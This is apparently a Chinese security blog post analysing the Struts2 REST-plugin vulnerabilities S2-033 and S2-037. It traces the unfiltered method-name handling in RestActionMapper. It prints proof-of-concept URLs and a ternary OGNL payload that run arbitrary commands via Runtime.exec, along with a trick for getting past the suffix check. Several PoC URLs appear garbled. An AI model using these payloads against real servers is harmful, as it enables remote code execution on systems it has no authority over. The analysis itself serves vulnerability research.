0x00 背景
最近出了两个Struts漏洞,S2-032
和S2-037
。 都是官方插件REST
出了问题,zone
里面讨论也很热烈。
我只代表个人观点和理解,如果理解有误,请批评指正。顺便聊聊里面的技术。 首先,看两个漏洞的描述: S2-033(CVE-2016-3087):
Remote Code Execution can be performed when using REST Plugin with ! operator when Dynamic Method Invocation is enabled.
S2-037:
Remote Code Execution can be performed when using REST Plugin.
It is possible to pass a malicious expression which can be used to execute arbitrary code on server side when using the REST Plugin.
可以看到区别就是S2-037
没有提到要开启动态方法调用
(Dynamic Method Invocation)。 这就有点意思了,看看源码或许能发现好玩的地方。
0x01 漏洞原理
首先简单看看这个REST
插件是干啥的,那就查看下官方文档。翻译下,给个直观的感受: REST插件,会使用RESTful风格
处理URL请求,大概的映射规则如下:
1 | GET: /movies => method=index |
其他的就不赘述了。 关键在Struts2运行机制中,会去加载各个插件中struts-plugin.xml
配置文件。
下面是一部分struts2-rest-plugin
插件struts-plugin.xml
内容:
1 | ................. |
上面两个配置,便成功将处理URL请求和action调用的代理类,设置成了插件中的类。
S2-033
于是就来看看org.apache.struts2.rest.RestActionMapper
,这个处理URL请求的类。和S2-032,S2-016出问题一样的处理类,请参考Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析。 于是,我们看到了这样的一段处理URL的代码:
1 | public ActionMapping getMapping(HttpServletRequest request, |
标记的很清楚,handleDynamicMethodInvocation
函数用来处理name!method
形式的URL。通过S2-032,我们知道,倘若没有对method
进行过滤的话,便会造成OGNL命令执行了。接着跟进看看:
1 | private void handleDynamicMethodInvocation(ActionMapping mapping, String name) { |
果真,没有经过任何处理。于是有了S2-033漏洞:当动态方法调用
开启后,可以通过name!evilcodeMethod
的方式进行攻击,POC下面再讲。 evilcodeMethod
便是我们攻击的代码了。
S2-037
闲的无聊,可以看看剩下的处理URL代码,发现了这样一段代码:
1 | int lastSlashPos = fullName.lastIndexOf('/'); |
注释写的很清楚:
1 | fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit' |
好的开发人员,注释清晰明了。
于是,发现了这里竟然也存在了一个methodName
,这里是否也没过滤?答案在上述代码中,依然没有过滤。 并且这里并不需要开启动态方法调用。我猜这就是S2-037了,乌云社区里面的POC也映证了我的想法。
0x02 POC及其测试
POC请看http://zone.wooyun.org/content/27865,写的蛮好的。我单纯聊聊里面有趣的技术。 由于这两个漏洞的根本就是S2-032
,自然POC就和S2-032一样了,于是就有人误以为是S2-032的POC了。
1. S2-033漏洞POC
我记得在乌云社区中s2-033三种POC+命令执行绕过,就已经出现了S2-037的漏洞点,只是没有注意到并不需要启动动态调用方法
。 我们就跟着官方说的,开启动态方法调用来看一下。如何利用!
来进行攻击。
测试环境:
官方的下载struts-all
包,在apps
目录下有一个struts2-rest-showcase.war
文件,可以直接用来测试。 为了调试POC,我复制里面的文件,新建了一个项目进行测试。 重现S2-033,我改了两处:
增加动态方法调用。
<constant name="struts.enable.DynamicMethodInvocation" value="true" /> <!-- test S2-033 -->
- 去掉验证输入是否为空。
由于无法正常传id,所以在验证完整性的时候,便终止了。于是删掉做测试。
1 | public void validate() { |
得到的POC如下:
1 | http://localhost:8080/Struts-Rest/orders! @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS .cmd.lang.ProcessBuilder .start .getInputStream.lang.String.xhtml?cmd=calc |
2. 绕过后缀检测
对于S2-032漏洞的POC来说,程序解析的后缀为.String
,这里需要伪造成.json
(或xhtml
,xml
等)绕过这个限制。关键代码如下:
1 | if (extensions == null) { |
于是就有了与S2-032 POC
不一样的多余.xhtml
后缀。
3. S2-037
区别只是利用点不一样,却不需要开启动态方法调用:
1 | http://localhost:8080/Struts-Rest/orders/3/ @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS .cmd.lang.ProcessBuilder .start .getInputStream.lang.String.json?cmd=calc |
这个利用点,明显舒服多了,POC一模一样~~而且直接使用官方样例,即可测试: 在官方样例程序,直接使用POC攻击:
0x03 巧妙的绕过OGNL
以上POC有限制,在最新的2.38.1和2.3.20.1等版本中,无法让OGNL执行多条语句。 在我写这个的时候,乌云发出了最新的一篇分析文章。 通过三目运算符这个方式绕过,赞叹~ 真心值得好好学习,有空一定跟踪源码再看看原理~urldecode看看清楚:
1 | (#mem=#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?@java.lang.Runtime@getRuntime().exec(#parameters.cmd):index.xhtml?cmd=calc |
so great~ 相当于执行了两条语句。
1 | #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS, |
依次类推,可以做很多事情~ 再次感叹一下~~
0x04 最后说一下
新的绕过方式真心值得学习,好好看源码,多多思考,能得到好的回报~~